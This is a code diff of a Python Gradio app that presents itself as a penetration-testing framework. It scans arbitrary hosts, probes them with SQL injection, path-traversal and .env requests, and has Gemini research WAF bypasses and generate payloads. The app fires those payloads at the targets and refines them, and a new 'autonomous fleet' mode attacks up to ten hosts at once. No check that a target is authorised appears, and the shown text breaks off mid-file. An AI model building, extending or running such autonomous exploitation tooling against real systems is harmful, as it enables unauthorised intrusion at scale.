wuhp commited on
Commit
f74f60d
Β·
verified Β·
1 Parent(s): 0ee63b1

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +209 -266
app.py CHANGED
@@ -27,7 +27,7 @@ SCAN_TIMEOUT = 5.0
27
  EXPLOIT_TIMEOUT = 8.0
28
 
29
  HTTP_HEADERS = {
30
- "User-Agent": "Cognitive-PenTest-Agent/2.0",
31
  "Accept": "*/*",
32
  "X-Forwarded-For": "127.0.0.1",
33
  }
@@ -36,19 +36,17 @@ HTTP_HEADERS = {
36
 
37
  class AttackStrategy(BaseModel):
38
  vulnerability_class: str = Field(description="Class of vulnerability (e.g., SQLi, LFI, RCE).")
39
- confidence: float = Field(description="Confidence score 0.0 to 1.0 based on recon evidence.")
40
- strategy: str = Field(description="The approach (e.g., time_based_blind, path_traversal).")
41
  target_endpoint: str = Field(description="The specific endpoint and parameter to target.")
 
42
 
43
  class PayloadGeneration(BaseModel):
44
- technique: str = Field(description="Specific technique or encoding used.")
45
  payload: str = Field(description="The exact payload string to inject.")
46
  reasoning: str = Field(description="Why this payload fits the WAF and server profile.")
47
 
48
- class PayloadRefinement(BaseModel):
49
- failure_analysis: str = Field(description="Why the previous payload failed based on response diff.")
50
- adjusted_strategy: str = Field(description="How the approach changes.")
51
- revised_payload: str = Field(description="The newly patched payload.")
52
 
53
  # --- 2. SIGNAL-RICH RECON ENGINE ---
54
 
@@ -60,18 +58,14 @@ class ReconProfile:
60
  self.protocol = "http"
61
  self.is_alive = False
62
  self.server_banner = "Unknown"
63
- self.server_version = "Unknown"
64
  self.waf_detected = "None"
65
  self.baseline_latency = 0.0
66
-
67
  self.discovered_paths = []
68
- self.injection_sensitivity = []
69
  self.error_signatures = []
70
 
71
  @property
72
  def is_exploitable(self):
73
- # Determine if it's worth showing in the War Room
74
- return self.is_alive and (len(self.discovered_paths) > 0 or len(self.error_signatures) > 0 or self.server_version != "Unknown")
75
 
76
  class SensorReconEngine:
77
  def __init__(self, profile: ReconProfile, logger: callable):
@@ -96,62 +90,34 @@ class SensorReconEngine:
96
  async def run(self):
97
  await self._detect_protocol()
98
  try:
99
- await self.profile_baseline()
100
- if self.p.is_alive:
101
- await self.probe_injection_sensitivity()
102
- await self.dynamic_path_expansion()
103
- finally:
104
- await self.client.aclose()
105
- return self.p
106
-
107
- async def profile_baseline(self):
108
- start = time.time()
109
- try:
110
  resp = await self.client.get(self._url("/"))
111
  self.p.is_alive = True
112
  self.p.baseline_latency = time.time() - start
113
-
114
  srv = resp.headers.get("Server", "")
115
- if srv:
116
- self.p.server_banner = srv
117
- # Better Version Extraction
118
- version_match = re.search(r'[\w-]+/([\d\.]+)', srv)
119
- if version_match: self.p.server_version = version_match.group(1)
120
 
121
- srv_lower = srv.lower()
122
- if "cloudflare" in srv_lower: self.p.waf_detected = "Cloudflare"
123
- elif "imperva" in srv_lower: self.p.waf_detected = "Imperva"
 
124
 
125
- self.logger(f"βœ… Alive [{self.p.target_id}]: {self.p.server_banner} | WAF: {self.p.waf_detected}")
126
- except Exception:
127
- self.logger(f"❌ Dead [{self.p.target_id}]")
128
-
129
- async def probe_injection_sensitivity(self):
130
- probes = [("?id=1'", "quote"), ("?q=\"><script>", "html"), ("?file=../../", "traversal")]
131
- for path, tag in probes:
132
- try:
133
- resp = await self.client.get(self._url(path))
134
- body = resp.text.lower()
135
- if any(err in body for err in ["sql syntax", "mysql_fetch", "stack trace", "java.lang"]):
136
- self.p.error_signatures.append(f"{tag}_leak")
137
- elif resp.status_code in [403, 406]:
138
- self.p.injection_sensitivity.append(f"{tag}_blocked")
139
- except: pass
140
-
141
- async def dynamic_path_expansion(self):
142
- base_paths = ["/api", "/admin", "/.env", "/wp-admin", "/phpmyadmin"]
143
- for bp in base_paths:
144
- try:
145
- resp = await self.client.get(self._url(bp))
146
- if resp.status_code in [200, 401, 403, 301, 302]:
147
- self.p.discovered_paths.append(bp)
148
- if bp == "/api":
149
- exp_resp = await self.client.get(self._url("/api/v1/users"))
150
- if exp_resp.status_code == 200: self.p.discovered_paths.append("/api/v1/users")
151
- except: pass
152
 
153
 
154
- # --- 3. AUTONOMOUS AGENT (FIXED GOOGLE GROUNDING & SCHEMA) ---
155
 
156
  async def fire_payload(protocol, host, port, endpoint, payload):
157
  url = f"{protocol}://{host}:{port}{endpoint}{payload}"
@@ -167,106 +133,90 @@ async def fire_payload(protocol, host, port, endpoint, payload):
167
 
168
  return success, resp.status_code, latency, resp.text[:250].replace('\n', ' ')
169
  except Exception as e:
170
- return False, 0, time.time() - start, f"Connection Error: {str(e)}"
 
 
171
 
172
- async def autonomous_exploit_agent(profile: ReconProfile, api_key: str, logger: callable, update_ui_cb: callable):
173
- """The Closed-Loop Reasoning Engine."""
174
- if not api_key:
175
- yield "πŸ”΄ Error", "No API Key", "Failed", "N/A"
176
- return
177
 
 
178
  llm = genai.Client(api_key=api_key)
179
 
180
- recon_evidence = f"""
181
- TARGET: {profile.target_id}
182
- Server: {profile.server_banner} (Version: {profile.server_version})
183
- WAF: {profile.waf_detected}
184
- Paths: {profile.discovered_paths}
185
- Errors Leaked: {profile.error_signatures}
186
- Blocked Inputs: {profile.injection_sensitivity}
187
  """
188
 
189
- # ------------------------------------------------------------------
190
- # PHASE 1: RESEARCH (Allows Google Search, No JSON constraint)
191
- # ------------------------------------------------------------------
192
- logger(f"πŸ”Ž [RESEARCHING] Grounding with Google Search for {profile.target_id}")
193
- await update_ui_cb("πŸ”Ž RESEARCHING", "Querying Google Search for CVEs and bypasses...")
194
-
195
- try:
196
- research_config = types.GenerateContentConfig(tools=[types.Tool(google_search=types.GoogleSearch())])
197
- research_prompt = f"Find recent CVEs and WAF bypass techniques for {profile.server_banner} behind {profile.waf_detected}. Keep it brief."
198
- research_resp = await llm.aio.models.generate_content(
199
- model="gemini-2.5-flash", contents=research_prompt, config=research_config
200
- )
201
- search_context = research_resp.text
202
- except Exception as e:
203
- search_context = "Search failed. Relying on base knowledge."
204
- logger(f"⚠️ Search skipped: {e}")
205
-
206
- # ------------------------------------------------------------------
207
- # PHASE 2: STRATEGIZING (Strict JSON Schema, NO Google Search)
208
- # ------------------------------------------------------------------
209
- logger(f"🧠 [STRATEGIZING] Building attack plan.")
210
- await update_ui_cb("🧠 STRATEGIZING", "Formatting Attack Strategy...")
211
-
212
- try:
213
- strat_config = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=AttackStrategy.model_json_schema())
214
- strat_prompt = f"Recon: {recon_evidence}\nSearch Data: {search_context}\nOutput AttackStrategy."
215
- strat_resp = await llm.aio.models.generate_content(model="gemini-2.5-flash", contents=strat_prompt, config=strat_config)
216
- strategy = AttackStrategy.model_validate_json(strat_resp.text)
217
- except Exception as e:
218
- logger(f"⚠️ Strategy Gen Failed: {e}"); return
219
-
220
- # ------------------------------------------------------------------
221
- # PHASE 3: PAYLOAD GENERATION
222
- # ------------------------------------------------------------------
223
- await update_ui_cb("βš™οΈ GENERATING", f"Crafting {strategy.strategy} payload...")
224
  try:
225
- gen_config = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadGeneration.model_json_schema())
226
- gen_resp = await llm.aio.models.generate_content(
227
- model="gemini-2.5-flash", contents=f"Strategy: {strategy.model_dump_json()}\nGenerate payload.", config=gen_config
228
  )
229
- gen = PayloadGeneration.model_validate_json(gen_resp.text)
230
- current_endpoint, current_payload = strategy.target_endpoint, gen.payload
231
- except Exception as e:
232
- logger(f"⚠️ Payload Gen Failed: {e}"); return
233
-
234
- # ------------------------------------------------------------------
235
- # PHASE 4: EXECUTION & REFINEMENT LOOP
236
- # ------------------------------------------------------------------
237
- for attempt in range(1, 4):
238
- logger(f"βš”οΈ [EXPLOITING] Attempt {attempt}: {current_payload}")
239
- await update_ui_cb(f"βš”οΈ EXPLOITING (Try {attempt}/3)", f"Firing: {current_payload}")
240
-
241
- success, status, latency, snippet = await fire_payload(profile.protocol, profile.host, profile.port, current_endpoint, current_payload)
242
 
243
- await update_ui_cb("πŸ“Š ANALYZING FEEDBACK", f"Status: {status} | Latency: {latency:.2f}s")
244
 
245
- # Yield the exact payload and result to the UI!
246
- yield current_endpoint, current_payload, "SUCCESS πŸ’₯" if success else f"FAILED (HTTP {status})", snippet
247
 
248
- if success:
249
- logger(f"πŸ’₯ [SUCCESS] Triggered on {profile.target_id}!")
250
- return
251
-
252
- if attempt == 3: break
 
 
 
 
 
 
 
 
 
 
253
 
254
- logger(f"πŸ”§ [REFINING] Payload failed. Asking AI to patch...")
255
- await update_ui_cb("πŸ”§ REFINING", "Analyzing failure diff and rewriting payload...")
 
256
 
 
257
  try:
258
- feedback = f"Payload: {current_payload}\nFailed. Status: {status}, Latency: {latency:.2f}s.\nSnippet: {snippet}\nPatch it to bypass restrictions."
259
- patch_config = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadRefinement.model_json_schema())
260
- patch_resp = await llm.aio.models.generate_content(model="gemini-2.5-flash", contents=feedback, config=patch_config)
261
- patch = PayloadRefinement.model_validate_json(patch_resp.text)
262
- current_payload = patch.revised_payload
263
- except Exception:
264
- pass # Fallback to next loop iteration
265
 
266
- logger(f"πŸ›‘ [ABORT] Exhausted attempts on {profile.target_id}")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
267
 
268
 
269
- # --- UI ASYNC WRAPPERS & UTILS ---
270
 
271
  def parse_inputs(files, manual):
272
  targets = []
@@ -288,170 +238,163 @@ def parse_inputs(files, manual):
288
  targets.append((line, 80))
289
  return list(set(targets))
290
 
291
- async def run_recon_phase(files, manual, state):
292
- log_queue = asyncio.Queue()
293
- def logger(msg): log_queue.put_nowait(msg)
294
- log_text = ""
295
- targets = parse_inputs(files, manual)
296
 
297
- if not targets:
298
- yield state, pd.DataFrame(), gr.update(), "πŸ”΄ No targets provided.", log_text
299
- return
 
 
300
 
301
- logger(f"πŸš€ [STAGE 1] Sensor Recon initiated on {len(targets)} targets.")
 
 
 
302
  state["profiles"] = {}
 
 
303
 
304
- async def run_sensor(h, p):
305
- profile = ReconProfile(h, p)
306
- return await SensorReconEngine(profile, logger).run()
307
-
308
- tasks = [asyncio.create_task(run_sensor(h, p)) for h, p in targets]
309
- for coro in asyncio.as_completed(tasks):
310
- try:
311
- profile = await coro
312
- state["profiles"][profile.target_id] = profile
313
- except Exception: pass
314
 
315
- # Flush logs to UI
316
- while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
317
- log_text = '\n'.join(log_text.split('\n')[:150])
318
-
319
- # Update Data Viewer & Dropdown
320
- all_profs = list(state["profiles"].values())
321
- df = pd.DataFrame([{
322
- "Target": p.target_id, "Protocol": p.protocol, "Server": p.server_banner,
323
- "WAF": p.waf_detected, "Paths": len(p.discovered_paths), "Errors": len(p.error_signatures),
324
- "Exploitable": "Yes" if p.is_exploitable else "No"
325
- } for p in all_profs])
326
 
327
- # Only put exploitable targets in the War Room Dropdown
328
- exploitable_targets = [p.target_id for p in all_profs if p.is_exploitable]
329
 
330
- yield state, df, gr.update(choices=exploitable_targets), f"🟑 Scanning... {len(all_profs)}/{len(targets)} done.", log_text
331
-
332
- logger("βœ… [STAGE 1] Recon Complete.")
333
- while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
334
- yield state, df, gr.update(choices=exploitable_targets, value=exploitable_targets[0] if exploitable_targets else None), "🟒 Recon Complete!", log_text
335
 
 
336
 
337
- async def run_exploit_phase(target_id, api_key, state):
338
- log_queue = asyncio.Queue()
339
- def logger(msg): log_queue.put_nowait(msg)
340
- log_text = ""
341
-
342
- if not api_key or not target_id:
343
- yield "πŸ”΄ Error", "No Target/Key", "", "", "", log_text
344
- return
345
-
346
- profile = state["profiles"][target_id]
347
- ui_state, ui_detail = "INIT", "Starting Agent..."
348
 
349
- async def update_ui(s, d):
350
- nonlocal ui_state, ui_detail
351
- ui_state, ui_detail = s, d
352
 
353
- agent_gen = autonomous_exploit_agent(profile, api_key, logger, update_ui)
 
 
 
 
 
 
 
 
 
 
354
 
355
- ep, pl, res, det = "", "", "", ""
 
356
 
357
- # Process generator to update payload textboxes in real-time
358
- async for new_ep, new_pl, new_res, new_det in agent_gen:
359
- ep, pl, res, det = new_ep, new_pl, new_res, new_det
360
-
361
- while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
362
- log_text = '\n'.join(log_text.split('\n')[:150])
363
-
364
- yield ui_state, ui_detail, ep, pl, res, log_text
365
-
366
- yield "βœ… COMPLETE", det, ep, pl, res, log_text
367
-
368
-
369
- # --- DATAFRAME FILTER FUNCTION ---
370
- def filter_data(df, search_ip, search_port, show_only_vuln):
371
- if df is None or df.empty: return df
372
- filtered = df.copy()
373
- if search_ip: filtered = filtered[filtered["Target"].str.contains(search_ip, case=False, na=False)]
374
- if search_port: filtered = filtered[filtered["Target"].str.endswith(f":{search_port}")]
375
- if show_only_vuln: filtered = filtered[filtered["Exploitable"] == "Yes"]
376
- return filtered
377
 
378
 
379
  # ==============================================================================
380
- # GRADIO UI
381
  # ==============================================================================
382
  with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
383
- engine_state = gr.State({"profiles": {}})
 
 
 
384
 
385
- gr.Markdown("# πŸ’€ SOTA Cognitive Exploitation Agent")
386
-
387
  with gr.Tabs():
388
- # --- TAB 1: ACQUISITION & DATABASE ---
389
- with gr.Tab("1. Sensor Recon & Database"):
390
  with gr.Row():
391
  with gr.Column(scale=1):
392
  csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
393
  txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80")
394
- recon_btn = gr.Button("πŸ” START SENSOR RECON", variant="primary")
395
  recon_status = gr.Markdown("System Offline.")
396
- log_console = gr.Code(label="Live Recon Telemetry", language="shell", lines=12)
397
 
398
  with gr.Column(scale=2):
399
- gr.Markdown("### πŸ—„οΈ Reconnaissance Database Viewer")
400
  with gr.Row():
401
- f_ip = gr.Textbox(label="Search IP", scale=2)
402
- f_port = gr.Textbox(label="Filter Port", scale=1)
403
- f_vuln = gr.Checkbox(label="Show Only Potentially Exploitable", value=False, scale=1)
404
-
405
  db_viewer = gr.Dataframe(headers=["Target", "Protocol", "Server", "WAF", "Paths", "Errors", "Exploitable"], interactive=False)
406
 
407
  # --- TAB 2: WAR ROOM ---
408
- with gr.Tab("2. Agentic War Room"):
409
  with gr.Row():
410
  with gr.Column(scale=1):
411
- gr.Markdown("### πŸ’€ Authorize AI Agent")
412
- api_key_in = gr.Textbox(label="Gemini API Key (Required)", type="password")
413
- # ONLY exploitable targets show up here
414
- target_dropdown = gr.Dropdown(label="Potentially Exploitable Targets", choices=[], interactive=True)
415
- exploit_consent = gr.Checkbox(label="🚨 Authorize AI Agent (Execute live exploits)", value=False)
416
- fire_agent_btn = gr.Button("⚑ DEPLOY AUTONOMOUS AGENT", variant="primary")
417
 
418
- gr.Markdown("### βš™οΈ Live Agent State Machine")
419
- state_box = gr.Textbox(label="Current Phase", value="IDLE", interactive=False)
420
- detail_box = gr.Textbox(label="Phase Details", value="Waiting for deployment...", interactive=False)
 
 
421
 
422
  with gr.Column(scale=1):
423
- gr.Markdown("### πŸ’‰ Live Payload Telemetry")
424
- ep_box = gr.Textbox(label="Target Endpoint", interactive=False)
425
- pl_box = gr.Textbox(label="Injected Payload", interactive=False)
426
- res_box = gr.Textbox(label="Final Result", interactive=False)
427
- exploit_console = gr.Code(label="Agent Terminal", language="shell", lines=15)
 
 
 
 
 
 
 
428
 
429
  # --- WIRING ---
 
 
430
  recon_btn.click(
431
- fn=run_recon_phase,
432
- inputs=[csv_in, txt_in, engine_state],
433
- outputs=[engine_state, db_viewer, target_dropdown, recon_status, log_console]
434
  )
435
 
436
- # Live Database Filtering
437
- filter_inputs = [db_viewer, f_ip, f_port, f_vuln]
438
  for comp in [f_ip, f_port, f_vuln]:
439
- comp.change(fn=filter_data, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
440
-
441
- # Ensure we use raw state for filtering logic
442
- def apply_filter(st, ip, port, vuln):
443
- all_profs = list(st.get("profiles", {}).values())
444
- df = pd.DataFrame([{"Target": p.target_id, "Protocol": p.protocol, "Server": p.server_banner, "WAF": p.waf_detected, "Paths": len(p.discovered_paths), "Errors": len(p.error_signatures), "Exploitable": "Yes" if p.is_exploitable else "No"} for p in all_profs])
445
- return filter_data(df, ip, port, vuln)
446
-
447
- f_ip.change(fn=apply_filter, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
448
- f_port.change(fn=apply_filter, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
449
- f_vuln.change(fn=apply_filter, inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
450
-
451
- fire_agent_btn.click(
452
- fn=run_exploit_phase,
453
- inputs=[target_dropdown, api_key_in, engine_state],
454
- outputs=[state_box, detail_box, ep_box, pl_box, res_box, exploit_console]
 
 
 
 
 
 
 
 
 
 
 
 
 
455
  )
456
 
457
  if __name__ == "__main__":
 
27
  EXPLOIT_TIMEOUT = 8.0
28
 
29
  HTTP_HEADERS = {
30
+ "User-Agent": "Centaur-WarRoom-Agent/3.0",
31
  "Accept": "*/*",
32
  "X-Forwarded-For": "127.0.0.1",
33
  }
 
36
 
37
  class AttackStrategy(BaseModel):
38
  vulnerability_class: str = Field(description="Class of vulnerability (e.g., SQLi, LFI, RCE).")
 
 
39
  target_endpoint: str = Field(description="The specific endpoint and parameter to target.")
40
+ strategy: str = Field(description="The approach (e.g., time_based_blind).")
41
 
42
  class PayloadGeneration(BaseModel):
 
43
  payload: str = Field(description="The exact payload string to inject.")
44
  reasoning: str = Field(description="Why this payload fits the WAF and server profile.")
45
 
46
+ class CentaurChatResponse(BaseModel):
47
+ chat_reply: str = Field(description="Message to the human operator explaining the changes.")
48
+ suggested_endpoint: str = Field(description="The updated endpoint to target.")
49
+ suggested_payload: str = Field(description="The newly patched/generated payload.")
50
 
51
  # --- 2. SIGNAL-RICH RECON ENGINE ---
52
 
 
58
  self.protocol = "http"
59
  self.is_alive = False
60
  self.server_banner = "Unknown"
 
61
  self.waf_detected = "None"
62
  self.baseline_latency = 0.0
 
63
  self.discovered_paths = []
 
64
  self.error_signatures = []
65
 
66
  @property
67
  def is_exploitable(self):
68
+ return self.is_alive and (len(self.discovered_paths) > 0 or len(self.error_signatures) > 0 or self.server_banner != "Unknown")
 
69
 
70
  class SensorReconEngine:
71
  def __init__(self, profile: ReconProfile, logger: callable):
 
90
  async def run(self):
91
  await self._detect_protocol()
92
  try:
93
+ start = time.time()
 
 
 
 
 
 
 
 
 
 
94
  resp = await self.client.get(self._url("/"))
95
  self.p.is_alive = True
96
  self.p.baseline_latency = time.time() - start
 
97
  srv = resp.headers.get("Server", "")
98
+ if srv: self.p.server_banner = srv
99
+ if "cloudflare" in srv.lower(): self.p.waf_detected = "Cloudflare"
100
+ elif "imperva" in srv.lower(): self.p.waf_detected = "Imperva"
 
 
101
 
102
+ # Fast Probing
103
+ paths = ["/admin", "/.env", "/api", "/wp-admin", "?id=1'", "?file=../../"]
104
+ tasks = [self.client.get(self._url(p)) for p in paths]
105
+ results = await asyncio.gather(*tasks, return_exceptions=True)
106
 
107
+ for path, res in zip(paths, results):
108
+ if not isinstance(res, Exception):
109
+ if res.status_code in [200, 401, 403]:
110
+ if "?" not in path: self.p.discovered_paths.append(path)
111
+ if any(err in res.text.lower() for err in ["sql syntax", "stack trace", "mysql_fetch"]):
112
+ self.p.error_signatures.append(f"Leak on {path}")
113
+ except Exception:
114
+ pass
115
+ finally:
116
+ await self.client.aclose()
117
+ return self.p
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
118
 
119
 
120
+ # --- 3. EXPLOIT CORE LOGIC ---
121
 
122
  async def fire_payload(protocol, host, port, endpoint, payload):
123
  url = f"{protocol}://{host}:{port}{endpoint}{payload}"
 
133
 
134
  return success, resp.status_code, latency, resp.text[:250].replace('\n', ' ')
135
  except Exception as e:
136
+ return False, 0, time.time() - start, f"Error: {str(e)}"
137
+
138
+ # --- 4. CENTAUR TEAMING (CHAT & MANUAL EXPLOIT) ---
139
 
140
+ async def centaur_chat_agent(user_msg, chat_history, target_id, state, current_ep, current_pl, api_key):
141
+ if not api_key or not target_id:
142
+ chat_history.append((user_msg, "πŸ”΄ API Key or Target missing."))
143
+ return chat_history, current_ep, current_pl, state
 
144
 
145
+ profile = state["profiles"][target_id]
146
  llm = genai.Client(api_key=api_key)
147
 
148
+ ctx = f"""
149
+ Target: {profile.target_id} | Server: {profile.server_banner} | WAF: {profile.waf_detected}
150
+ Discovered Paths: {profile.discovered_paths} | Errors: {profile.error_signatures}
151
+ Current Endpoint: {current_ep} | Current Payload: {current_pl}
152
+ Human Instruction: {user_msg}
153
+ Task: Act as a Red Team copilot. Reply to the user and generate a newly patched payload/endpoint based on their instructions.
 
154
  """
155
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
156
  try:
157
+ resp = await llm.aio.models.generate_content(
158
+ model="gemini-2.5-flash", contents=ctx,
159
+ config={"response_mime_type": "application/json", "response_json_schema": CentaurChatResponse.model_json_schema()}
160
  )
161
+ data = CentaurChatResponse.model_validate_json(resp.text)
 
 
 
 
 
 
 
 
 
 
 
 
162
 
163
+ chat_history.append((user_msg, data.chat_reply))
164
 
165
+ # Log AI Suggestion to Arsenal
166
+ state["arsenal"][target_id].append({"Endpoint": data.suggested_endpoint, "Payload": data.suggested_payload, "Status": "AI Suggested", "Notes": "Pending execution"})
167
 
168
+ return chat_history, data.suggested_endpoint, data.suggested_payload, state
169
+ except Exception as e:
170
+ chat_history.append((user_msg, f"⚠️ Error: {str(e)}"))
171
+ return chat_history, current_ep, current_pl, state
172
+
173
+
174
+ # --- 5. AUTONOMOUS BULK FLEET (TAB 3) ---
175
+
176
+ async def run_autonomous_fleet(selected_targets, api_key, state):
177
+ if not api_key: return "πŸ”΄ Gemini API Key Required.", ""
178
+ if not selected_targets: return "πŸ”΄ Select at least one target.", ""
179
+
180
+ targets = selected_targets[:10] # Max 10 limit
181
+ llm = genai.Client(api_key=api_key)
182
+ results = []
183
 
184
+ async def attack_target(tid):
185
+ p = state["profiles"][tid]
186
+ recon_data = f"Target: {tid} | WAF: {p.waf_detected} | Paths: {p.discovered_paths} | Errors: {p.error_signatures}"
187
 
188
+ # Phase 1: Research (Tools allowed, NO JSON SCHEMA)
189
  try:
190
+ r_conf = types.GenerateContentConfig(tools=[types.Tool(google_search=types.GoogleSearch())])
191
+ r_resp = await llm.aio.models.generate_content(model="gemini-2.5-flash", contents=f"Find bypasses for {p.server_banner} behind {p.waf_detected}", config=r_conf)
192
+ research = r_resp.text
193
+ except: research = "Standard knowledge."
 
 
 
194
 
195
+ # Phase 2: JSON Generation (JSON SCHEMA, NO TOOLS)
196
+ try:
197
+ s_conf = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=AttackStrategy.model_json_schema())
198
+ s_resp = await llm.aio.models.generate_content(model="gemini-2.5-flash", contents=f"Data:\n{recon_data}\n{research}\nOutput AttackStrategy.", config=s_conf)
199
+ strat = AttackStrategy.model_validate_json(s_resp.text)
200
+
201
+ p_conf = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadGeneration.model_json_schema())
202
+ p_resp = await llm.aio.models.generate_content(model="gemini-2.5-flash", contents=f"Strategy: {strat.model_dump_json()}\nOutput PayloadGeneration.", config=p_conf)
203
+ gen = PayloadGeneration.model_validate_json(p_resp.text)
204
+
205
+ # Fire Payload
206
+ success, status, lat, snip = await fire_payload(p.protocol, p.host, p.port, strat.target_endpoint, gen.payload)
207
+ return {"Target": tid, "Attack": strat.vulnerability_class, "Payload": gen.payload, "Success": success, "HTTP": status}
208
+ except Exception as e:
209
+ return {"Target": tid, "Attack": "Error", "Payload": "N/A", "Success": False, "HTTP": str(e)}
210
+
211
+ fleet_tasks = [attack_target(t) for t in targets]
212
+ fleet_results = await asyncio.gather(*fleet_tasks)
213
+
214
+ df = pd.DataFrame(fleet_results)
215
+ md = f"## πŸ€– Autonomous Fleet Report\n**Targets Executed:** {len(targets)} | **Successful Breaches:** {len(df[df['Success']==True])}\n"
216
+ return md, df.to_html(classes=['table', 'table-dark'], index=False)
217
 
218
 
219
+ # --- 6. GRADIO UTILS & GENERATORS ---
220
 
221
  def parse_inputs(files, manual):
222
  targets = []
 
238
  targets.append((line, 80))
239
  return list(set(targets))
240
 
241
+ def filter_db(st, ip, port, vuln):
242
+ profs = list(st.get("profiles", {}).values())
243
+ if not profs: return pd.DataFrame(columns=["Target", "Protocol", "Server", "WAF", "Paths", "Errors", "Exploitable"])
 
 
244
 
245
+ df = pd.DataFrame([{"Target": p.target_id, "Protocol": p.protocol, "Server": p.server_banner, "WAF": p.waf_detected, "Paths": len(p.discovered_paths), "Errors": len(p.error_signatures), "Exploitable": "Yes" if p.is_exploitable else "No"} for p in profs])
246
+ if ip: df = df[df["Target"].str.contains(ip, case=False, na=False)]
247
+ if port: df = df[df["Target"].str.endswith(f":{port}")]
248
+ if vuln: df = df[df["Exploitable"] == "Yes"]
249
+ return df
250
 
251
+ async def run_recon_bg(files, manual, state):
252
+ targets = parse_inputs(files, manual)
253
+ if not targets: yield state, gr.update(), gr.update(), gr.update(), pd.DataFrame(); return
254
+
255
  state["profiles"] = {}
256
+ state["arsenal"] = defaultdict(list)
257
+ sem = asyncio.Semaphore(MAX_CONCURRENT_RECON)
258
 
259
+ async def scan(h, p):
260
+ async with sem: return await SensorReconEngine(ReconProfile(h, p), lambda x: None).run()
 
 
 
 
 
 
 
 
261
 
262
+ tasks = [asyncio.create_task(scan(h, p)) for h, p in targets]
263
+
264
+ for coro in asyncio.as_completed(tasks):
265
+ p = await coro
266
+ state["profiles"][p.target_id] = p
 
 
 
 
 
 
267
 
268
+ exploitable = [k for k, v in state["profiles"].items() if v.is_exploitable]
269
+ df = filter_db(state, "", "", False)
270
 
271
+ # Yield updates to UI dynamically
272
+ yield state, gr.update(choices=exploitable), gr.update(choices=exploitable), f"🟑 Scanning... {len(state['profiles'])}/{len(targets)}", df
 
 
 
273
 
274
+ yield state, gr.update(choices=exploitable), gr.update(choices=exploitable), "🟒 Recon Complete! Move to War Room.", df
275
 
276
+ def load_target_context(target_id, state):
277
+ if not target_id: return "No target selected.", pd.DataFrame()
278
+ p = state["profiles"][target_id]
279
+ ctx = f"**Server:** {p.server_banner} | **WAF:** {p.waf_detected}\n**Paths:** {p.discovered_paths}\n**Errors:** {p.error_signatures}"
 
 
 
 
 
 
 
280
 
281
+ df = pd.DataFrame(state["arsenal"].get(target_id, []))
282
+ if df.empty: df = pd.DataFrame(columns=["Endpoint", "Payload", "Status", "Notes"])
283
+ return ctx, df
284
 
285
+ def load_payload_to_editor(evt: gr.SelectData, target_id, state):
286
+ try:
287
+ row = evt.index[0]
288
+ data = state["arsenal"][target_id][row]
289
+ return data["Endpoint"], data["Payload"]
290
+ except: return "", ""
291
+
292
+ async def fire_manual(target_id, ep, pl, state):
293
+ if not target_id: return "πŸ”΄ No Target", state
294
+ p = state["profiles"][target_id]
295
+ suc, code, lat, snip = await fire_payload(p.protocol, p.host, p.port, ep, pl)
296
 
297
+ status_str = "SUCCESS πŸ’₯" if suc else "FAILED"
298
+ res_str = f"**Status:** {code} | **Latency:** {lat:.2f}s\n**Response:** `{snip}`"
299
 
300
+ state["arsenal"][target_id].append({"Endpoint": ep, "Payload": pl, "Status": status_str, "Notes": f"HTTP {code}"})
301
+ return res_str, state
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
302
 
303
 
304
  # ==============================================================================
305
+ # GRADIO UI
306
  # ==============================================================================
307
  with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
308
+ engine_state = gr.State({"profiles": {}, "arsenal": defaultdict(list)})
309
+
310
+ gr.Markdown("# πŸ’€ SOTA Penetration Testing Framework")
311
+ api_key_global = gr.Textbox(label="Gemini API Key (Required for AI features)", type="password")
312
 
 
 
313
  with gr.Tabs():
314
+ # --- TAB 1: RECON ---
315
+ with gr.Tab("1. Recon & Database"):
316
  with gr.Row():
317
  with gr.Column(scale=1):
318
  csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
319
  txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80")
320
+ recon_btn = gr.Button("πŸ” START RECON", variant="primary")
321
  recon_status = gr.Markdown("System Offline.")
 
322
 
323
  with gr.Column(scale=2):
 
324
  with gr.Row():
325
+ f_ip = gr.Textbox(label="Search IP")
326
+ f_port = gr.Textbox(label="Filter Port")
327
+ f_vuln = gr.Checkbox(label="Exploitable Only")
 
328
  db_viewer = gr.Dataframe(headers=["Target", "Protocol", "Server", "WAF", "Paths", "Errors", "Exploitable"], interactive=False)
329
 
330
  # --- TAB 2: WAR ROOM ---
331
+ with gr.Tab("2. Interactive War Room"):
332
  with gr.Row():
333
  with gr.Column(scale=1):
334
+ wr_target = gr.Dropdown(label="Select Target", choices=[], interactive=True)
335
+ wr_context = gr.Markdown("Target Context will appear here.")
336
+
337
+ gr.Markdown("### πŸ—„οΈ Payload Arsenal (Click row to edit)")
338
+ arsenal_df = gr.Dataframe(headers=["Endpoint", "Payload", "Status", "Notes"], interactive=False, height=200)
 
339
 
340
+ gr.Markdown("### πŸ› οΈ Payload Editor")
341
+ ep_in = gr.Textbox(label="Endpoint", placeholder="/api?id=")
342
+ pl_in = gr.Textbox(label="Payload", placeholder="' OR 1=1--")
343
